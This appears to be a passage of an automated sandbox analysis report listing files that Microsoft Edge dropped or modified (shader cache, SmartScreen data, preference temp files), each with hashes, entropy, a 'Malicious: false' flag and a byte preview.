Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNl5vH:Ls35v
MD5:	5C9E951E3FC54A9C7622F1E76D464D11
SHA1:	B3DD58825C73B0539CAC98CE6513CF543C83461E
SHA-256:	8535AA809ECBFBCB4088A5E3F6AF302BB7E0E963DDCD0BDAF932D36CD12773AA
SHA-512:	D8CF6FB08D50F59DDDDB7BBD5D4B52075645DC6AD74173B77D913942020E8D2DEC84B29F213A1BA0183B1019ABD69F0045AA136C110C118BF440E07A8F19C401
Malicious:	false
Preview:	..........................................r.\|/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:kDnaV6bVon:kDYa2
MD5:	5692162977B015E31D5F35F50EFAB9CF
SHA1:	705DC80E8B32AC8B68F7E13CF8A75DCCB251ED7D
SHA-256:	42CCB5159B168DBE5D5DDF026E5F7ED3DBF50873CFE47C7C3EF0677BB07B90D4
SHA-512:	32905A4CC5BCE0FE8502DDD32096F40106625218BEDC4E218A344225D6DF2595A7B70EEB3695DCEFDD894ECB2B66BED479654E8E07F02526648E07ACFE47838C
Malicious:	false
Preview:	edgeSettings_2.0-0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.493433469104717
Encrypted:	false
SSDEEP:	3:kfKbQSQSuLA5:kyUc5
MD5:	3F90757B200B52DCF5FDAC696EFD3D60
SHA1:	569A2E1BED9ECCDF7CD03E270AEF2BD7FF9B0E77
SHA-256:	1EE63F0A3502CFB7DF195FABBA41A7805008AB2CCCDAEB9AF990409D163D60C8
SHA-512:	39252BBAA33130DF50F36178A8EAB1D09165666D8A229FBB3495DD01CBE964F87CD2E6FCD479DFCA36BE06309EF18FEDA7F14722C57545203BBA24972D4835C8
Malicious:	false
Preview:	synchronousLookupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.389669793590032
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQOn:YQ3Kq9X0dMgAEiLIMn
MD5:	03B6D5E81A4DC4D4E6C27BE1E932B9D9
SHA1:	3C5EF0615314BDB136AB57C90359F1839BDD5C93
SHA-256:	73B017F7C5ECD629AD41D14147D53F7D3D070C5967E1E571811A6DB39F06EACC
SHA-512:	0037EB23CCDBDDE93CFEB7B9A223D59D0872D4EC7F5E3CA4F7767A7301E96E1AF1175980DC4F08531D5571AFB94DF789567588DEB2D6D611C57EE4CC05376547
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":15}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b8448ca5-4a6c-4a23-a177-cadcd8608791.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	25767
Entropy (8bit):	6.0557970053402705
Encrypted:	false
SSDEEP:	768:VM7X2zt1jOXtXi3zahc1jPrNy+0SoKOdMZc1K6vn0+ke:VMSzMtXija+1jRyZKJCF0+ke
MD5:	D7B1A0549AAC4EC2FA6B5F4B3BA3E455
SHA1:	7C23DCF32F3D999907F86E3C4FE05B5F28401D6F
SHA-256:	B6C7D9AAA652C762FAEF31D601BE8CDE692AE6B74AE739C07E362A8AE38DD565
SHA-512:	2E20784F40B89FEDEB13C1A3AD34B91EBF51802625EBD2EB1631AAB18586CD3D7D945B3B2A9DD39D273EC1A3C4DE1DF33A5E627F463E2D6CD6C7A2227C062F56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366255156767680","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c2353396-e143-4957-88a4-ce8e7e794dbc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	8090
Entropy (8bit):	5.811354469318422
Encrypted:	false
SSDEEP:	192:asNAyrtaeiRU9+Q/kS16qRAq1k8SPxVLZ7VTiq:asNA4g0/cS16q3QxVNZTiq
MD5:	85DA0A2297D0ADCF2CE9369D5C7BBA6E
SHA1:	AAE981E49F27CB6000B431C90503EAE18428115B
SHA-256:	33A448288D6320BF6394A51697951F1E2FAAFD0B02065B7E1A6FC736723D165E
SHA-512:	C1F131B760463DBA65948377191990092F137E795245C5262DD218703B167AA89507E3A925D75C8349E9CCE404EE10CAFED7906C94EC653B814DF6953CA676E9
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cd81d266-02ea-47b5-8d18-116539bf402e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8090
Entropy (8bit):	5.811354469318422
Encrypted:	false
SSDEEP:	192:asNAyrtaeiRU9+Q/kS16qRAq1k8SPxVLZ7VTiq:asNA4g0/cS16q3QxVNZTiq
MD5:	85DA0A2297D0ADCF2CE9369D5C7BBA6E
SHA1:	AAE981E49F27CB6000B431C90503EAE18428115B
SHA-256:	33A448288D6320BF6394A51697951F1E2FAAFD0B02065B7E1A6FC736723D165E
SHA-512:	C1F131B760463DBA65948377191990092F137E795245C5262DD218703B167AA89507E3A925D75C8349E9CCE404EE10CAFED7906C94EC653B814DF6953CA676E9
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e17a2e70-d1f3-401e-abf6-adcc17d63c29.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f503bb91-f2d4-4dfa-aebb-4c56dd72f66e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24725
Entropy (8bit):	6.054005212276109
Encrypted:	false
SSDEEP:	768:VM7X2zt1jOXtXi3zahc1jPAhS7OdMZc1K6vn0+kZ:VMSzMtXija+1jJJCF0+kZ
MD5:	272C07131AAF837D94CD1E5E0C9E351B
SHA1:	E698DB82F81187361C0F1B8BE3C83903C8F7B57E
SHA-256:	16A13ACC8F5125F081E87D9BFAC825A482445084AF8EB3C19DC08DB80D7E6061
SHA-512:	20D749B0F8256CE24F118B8BE635E978786F0CD9815FC7075B41C16ED295A86D732CAD52F03FF0572777EAFAFF75C7627BFA63AA48D38341974DCDABE03F0795
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366255156767680","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8364105230153442
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxSxl9Il8uIYp0yt7R71ona9yv+Ckhzgcd1rc:m7YaCHtVmna9+kC7
MD5:	F9475FD38EFE6C6D0AD2CC6BE7D33231
SHA1:	ED28E27CCCDC8CA8BAE7E6809EDFCB08C2B97B2F
SHA-256:	CE88AD3C04D0B1A407536BFD769248FD93020422B58A7F29BA69B5BCF4C45599
